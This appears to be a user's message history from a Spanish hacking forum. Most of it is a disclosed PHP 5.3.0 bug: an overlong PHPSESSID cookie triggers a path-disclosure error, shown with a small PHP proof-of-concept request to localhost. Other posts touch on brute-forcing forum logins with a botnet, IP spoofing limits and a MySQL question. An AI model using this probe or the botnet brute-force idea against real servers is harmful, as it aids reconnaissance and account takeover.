Mensajes

En internet explorer 5 si puedes vulnerar al explorador con esas cosas, incluso si das de dirección "javascript:alert(0);" pero firefox y las versiones actuales de los exploradores no te permiten eso asi que solamente se ejecutaría en exploradores antiguamente desastrozos como ie5.

Les voy a hechar a la caserola con aceite hirviendo y les voy a tirar a los perros de el-brujo.

Mejos se ahorran el tiempo y las ganas porque no van a lograr nada escaneando al foro con esos juguetes, talves te banees pero no encontrarás nada mas.

oleviatan, todo depende del tipo de foro que quieras hacer eso, cada sistema de foros es diferente, lo hizo alguien diferente y por lo tanto contiene funcines y sistemas de seguridad diferentes.
Por ejemplo en SMF al quinto intento te muestra un recordatorio de correo e-mail y a los 10 o 20 te banea aunque igual puedes hacer un intento de logueo por cada x cantidad de segundos pero no alcanzarías a sacar una contraseña para antes del 11 del 12 del 2012.

La única alternativa para crackear un acceso a grán escala es teniendo una botnet dedicada esclusivamente a hacer esto con un máximo de 10 intentos por bot y teniendo cuidado de no causar un ddos ya que al final el objetivo es obtener una contraseña no tumbar a un servidor pero de todas formas tendrías que coordinar cada bot para que cada uno utilize ciertas palabras de un mismo diccionario sin repetirde y maximizar la busqueda pero no sería fácil.
Ahora si quisieras loguear con el hash de la cookie necesitarías el hash asalt que se encuentra junto a la columna de la abse de datos con el hash de la contraseña y para adivinarlo tampoco creo que puedas pasar del 11 del 12 del 2012

No puedes spoofear $_SERVER['REMOTE_ADDR'] enviando cabeceras porque php obtiene tu ip directamente desde la conexión cliente servidor.
La única forma de spoofear esa variable sería dentro de una red lan modificando tu arp pero asi en internet no se puede a menos que hayas descubierto una nueva vulnerabilidad en el protocolo tcp/ip que te permita enviar el flag PUSH syn/ack evadiendo el token de verificación que te envía el servidor en el flag ACK. Si logras evadir eso entonces habrás descubierto una nueva forma de hacer spoof ip y por ende modificar también dicha variable.

La otra forma sería usando proxys o bouncers para que la ip sea la del servidor bouncer en ves de la tuya pero en ese caso no la estarías eligiendo sino que te la asignan. a menos que encuentres un servicio proxy dentro del mismo servidor web, en ese caso puedes hacerte pasar por 127.0.0.1 (localhost) tal como se muestra en las innumerables cantidades de ezines antiguisimas y wargames como las de darksigns.

He estado leyendo varias noticias del foro de noticias de las cuales ya me he encontrado con dos de ellas que solo son inocentadas pero en ningúna parte indican que lo son por lo cual cuando quiero leer una noticia no se si es verdadera o no.

Que noticias son reales? google será realmente el mas rapido en celulares? tuenti realmente cerrará? por lo menos hoy paso de leer noticias porque no se si lo que estoy leyendo es real o no.

pues si, le puse mediumtext.

Bueno ya pasó la navidad asi que se va la chincheta 

Encontré un bug en PHP y le mandé un correo a php.net pero no parece interesarles asi que se los comento acá mejor.

El problema de seguridad en php 5.3.0, se que actualmente la versión estable de php es 5.3.1 pero estuve observando el changelog y no encontré ningún indicio de haber encontrado y reparado este problema que quiero contar.

El problema es que si inicias sesión con session_start() te crea una cookie llamada "PHPSESSID" la cual contiene un valor alfanumérico y el problema está en que si modificas el valor de dicha cookie una ves creada la sesión entonces se creará un nuevo archivo en el directorio temporal con el nombre de la cookie.

Yo entiendo que el valor máximo de carácteres de un archivo son 256 por lo tanto si le ponemos un valor al PHPSESSID de 300 carácteres se producirá un error revelando un "path disclosure" pudiendo forzar cualquier resultado.

Ejemplo:

Código (php) [Seleccionar] Expandir

<?php
session_start();
if($_SESSION)
 echo $_SESSION;
else
 $_SESSION = 'xx';
?>

Ahora envías la petición con tu cookie modificada:

Código (php) [Seleccionar] Expandir

<?php
error_reporting(0);

$payload =
'GET / HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID='.str_repeat('a', 500).';

';

if(!$handle = fsockopen('127.0.0.1', 80)){
 die('Error');
}else{
 fputs($handle, $payload);
 while(!feof($handle)){
  $retorno .= fread($handle, 1024);
 }
 echo nl2br(htmlspecialchars($retorno, ENT_QUOTES));
}
?>

Resultado:

Warning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3

Al enviar esto por correo me dijeron lo siguiente:

No del todo seguro de haber entendido. ¿Es sólo una ruta de divulgación del mensaje de error le preocupa? Nosotros no consideramos que un problema de seguridad porque los sistemas de producción no debe estar funcionando con "display_errors" activada.

-Rasmus

Y bueno, como vi que no les interesaba mucho le dije que ya no lo molestaría mas:

Si, es lo ideal, y también todos deberían urilizar htmlspecialchars para evitar xss y mysql escape real string para evitar una inyección sql pero no todos lo hacen.

Actualmente a grán mayoría de sistemas CMS contienen en sus configuraciones un error_reporting habilitado tales como joomla, wordpress, phpbb, vbulettin, smf, moodle, phpnuke, phpmyadmin, sqliteadmin, y muchos mas.

recuerdo hace un tiempo pasado hubo un problema debido a que la cookie de sesión permitía carácteres que no fueran alfanuméricos y por la misma razón se producía el mismo tipo de error lanzando un "path disclosure", por lo cual supuse que también podría importarles pero veo que me equiboqué, no volveré a molestarlos.

Probé este bug en varios servidores y comunidades muy conocidas y de los 8 servidores solo dos no reaccionaron a este problema debido a que por defecto en la configuración del servidor impiden la visualización de errores pero en todos los demás funciona bién.

Incluso puedes crear un exploit para resolver la ruta local del archivo afectado que utilize sesiones de php con session_start().

ah ya lo solucioné, voy a usar longtext xD no sabía que text tenía límite de capacidad

Hola, tengo una base de datos MySQL con mi web donde subo tutoriales en formato texto plano, el problema es que cuando quiero actualizar una columna pghpmyadmin me dice:

Debido a su longitud,
este campo podría no ser editable

De todas formas le doy guardar y me sale este mensaje:

Filas afectadas:  0
Warning: #1265 Data truncated for column 'descripcion' at row 1

El tamaño total del texto son 446,5 KiB

La columna es de tipo TEXT y el motor es MyISAM.

Lo mismo pasa en el foro, si intento guardar un post muy largo solo se guarda la mitad o hasta cierto límite de carácteres.

¿Que puede ser?
El servidor no es dedicado asi que no creo poder tener acceso a las configuraciones de mysql  .

Bueno el tema ya se publicó acá:
http://foro.elhacker.net/nivel_web/recopilatorio_de_vulnerabilidades_de_xsssqlinjection-t220843.0.html;msg1373457#msg1373457